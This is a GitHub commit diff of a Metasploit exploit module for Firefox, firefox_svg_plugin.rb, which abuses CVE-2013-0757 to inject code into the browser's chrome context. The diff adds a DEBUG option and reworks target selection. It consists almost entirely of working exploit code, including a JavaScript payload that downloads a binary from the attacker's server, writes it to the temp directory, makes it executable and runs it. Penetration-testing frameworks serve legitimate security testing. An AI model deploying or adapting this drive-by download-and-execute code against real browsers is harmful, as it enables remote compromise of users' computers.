Skip to content

Commit 978aafc

Browse files
committed
Add DEBUG option, pass args to .encoded_exe().
1 parent ee8a974 commit 978aafc

File tree

1 file changed

+29
-51
lines changed

1 file changed

+29
-51
lines changed

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 29 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -10,22 +10,8 @@
1010
class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

13-
#
14-
# This module acts as an HTTP server
15-
#
1613
include Msf::Exploit::Remote::HttpServer::HTML
1714
include Msf::Exploit::EXE
18-
include Msf::Exploit::Remote::BrowserAutopwn
19-
20-
autopwn_info({
21-
:ua_name => HttpClients::FF,
22-
:ua_maxver => '17.0.1',
23-
:javascript => true,
24-
:rank => ExcellentRanking, # 100% reliable cmd exec
25-
:vuln_test => %Q{
26-
is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"];
27-
}
28-
})
2915

3016
def initialize(info = {})
3117
super(update_info(info,
@@ -40,32 +26,24 @@ def initialize(info = {})
4026
4127
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
4228
around the child frame's window reference and inject code into the chrome://
43-
context.
44-
45-
Once we have injection into the chrome execution context, we can write our
46-
payload to disk, chmod it (if posix), and then execute.
29+
context. Once we have injection into the chrome execution context, we can write
30+
the payload to disk, chmod it (if posix), and then execute.
4731
4832
Note: Flash is used here to trigger the exploit but any Firefox plugin
4933
with script access should be able to trigger it.
5034
},
5135
'License' => MSF_LICENSE,
5236
'Targets' => [
53-
['Automatic',
54-
{
55-
'Platform' => ['win', 'osx', 'linux'],
56-
'Arch' => ARCH_X86
57-
}
58-
],
5937
[ 'Windows x86 (Native Payload)',
6038
{
6139
'Platform' => 'win',
62-
'Arch' => ARCH_X86,
40+
'Arch' => ARCH_X86
6341
}
6442
],
6543
[ 'Linux x86 (Native Payload)',
6644
{
6745
'Platform' => 'linux',
68-
'Arch' => ARCH_X86,
46+
'Arch' => ARCH_X86
6947
}
7048
],
7149
[ 'Mac OS X x86 (Native Payload)',
@@ -80,7 +58,6 @@ def initialize(info = {})
8058
[
8159
'Marius Mlynski', # discovery & bug report
8260
'joev' # metasploit module
83-
8461
],
8562
'References' =>
8663
[
@@ -94,15 +71,14 @@ def initialize(info = {})
9471

9572
register_options(
9673
[
97-
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
74+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
75+
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
9876
], Auxiliary::Timed)
9977

10078
end
10179

10280
def on_request_uri(cli, request)
103-
my_target = get_target(request.headers['User-Agent'])
104-
105-
if my_target.nil?
81+
if target != get_target(request.headers['User-Agent'])
10682
print_status("User agent does not match an available payload type, bailing.")
10783
send_not_found(cli)
10884
return
@@ -115,7 +91,7 @@ def on_request_uri(cli, request)
11591
elsif request.uri =~ /\.bin/
11692
# send the binary payload to drop & exec
11793
print_status("Child frame navigated. Sending binary payload to drop & execute.")
118-
send_response(cli, dropped_file_contents(cli, my_target), { 'Content-Type' => 'application/octet-stream' })
94+
send_response(cli, dropped_file_contents(cli), { 'Content-Type' => 'application/octet-stream' })
11995
else
12096
# send initial HTML page
12197
print_status("Sending #{self.name}")
@@ -124,29 +100,27 @@ def on_request_uri(cli, request)
124100
handler(cli)
125101
end
126102

127-
def dropped_file_contents(cli, my_target)
128-
p = regenerate_payload(cli, my_target.arch, my_target.platform, my_target).encoded_exe
129-
puts "PAYLOAD"
130-
puts my_target.name
131-
puts my_target.platform.names
132-
puts my_target.arch
133-
puts my_target == target
134-
p
103+
def dropped_file_contents(cli)
104+
regenerate_payload(cli).encoded_exe()
135105
end
136106

137107
def get_target(agent)
138-
return target if target.name != 'Automatic'
108+
# browser detection
109+
if agent !~ /firefox/i
110+
return nil
111+
end
112+
# os detection
139113
if agent =~ /windows/i
140114
print_status 'Windows detected.'
141-
return targets[1]
115+
targets[0]
142116
elsif agent =~ /linux/i
143117
print_status 'Linux detected.'
144-
return targets[2]
118+
targets[1]
145119
elsif agent =~ /macintosh/i and agent =~ /intel/i
146120
print_status 'OSX detected.'
147-
return targets[3]
121+
targets[2]
148122
else
149-
return target
123+
nil
150124
end
151125
end
152126

@@ -164,14 +138,13 @@ def payload_filename
164138
end
165139

166140
def js_payload
167-
#'alert(Components.stack)'
168141
%Q|
169-
alert(1)
142+
#{js_debug("Injection successful. JS executing with chrome privileges.")}
170143
var x = new XMLHttpRequest;
171144
x.overrideMimeType('text/plain; charset=x-user-defined');
172145
x.open('POST', '#{base_url}.bin', false);
173146
x.send(null);
174-
alert(x.responseText);
147+
#{js_debug("'Payload: '+x.responseText", "")}
175148
var file = Components.classes["@mozilla.org/file/directory_service;1"]
176149
.getService(Components.interfaces.nsIProperties)
177150
.get("TmpD", Components.interfaces.nsIFile);
@@ -186,14 +159,18 @@ def js_payload
186159
stream.close();
187160
}
188161
#{chmod_code}
189-
alert(file.path);
162+
#{js_debug("'Downloaded to: '+file.path", "")}
190163
var process = Components.classes["@mozilla.org/process/util;1"]
191164
.createInstance(Components.interfaces.nsIProcess);
192165
process.init(file);
193-
process.run(false,[],0);
166+
process.run(false, [], 0);
194167
|
195168
end
196169

170+
def js_debug(str, quote="'")
171+
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
172+
end
173+
197174
def chmod_code
198175
return '' if target.name == 'Windows x86 (Native Payload)'
199176
%Q|
@@ -208,7 +185,8 @@ def chmod_code
208185
# @return [String] URL for sending requests back to the module
209186
def base_url
210187
proto = (datastore["SSL"] ? "https" : "http")
211-
"#{proto}://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
188+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
189+
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
212190
end
213191

214192
def generate_html

0 commit comments

Comments
 (0)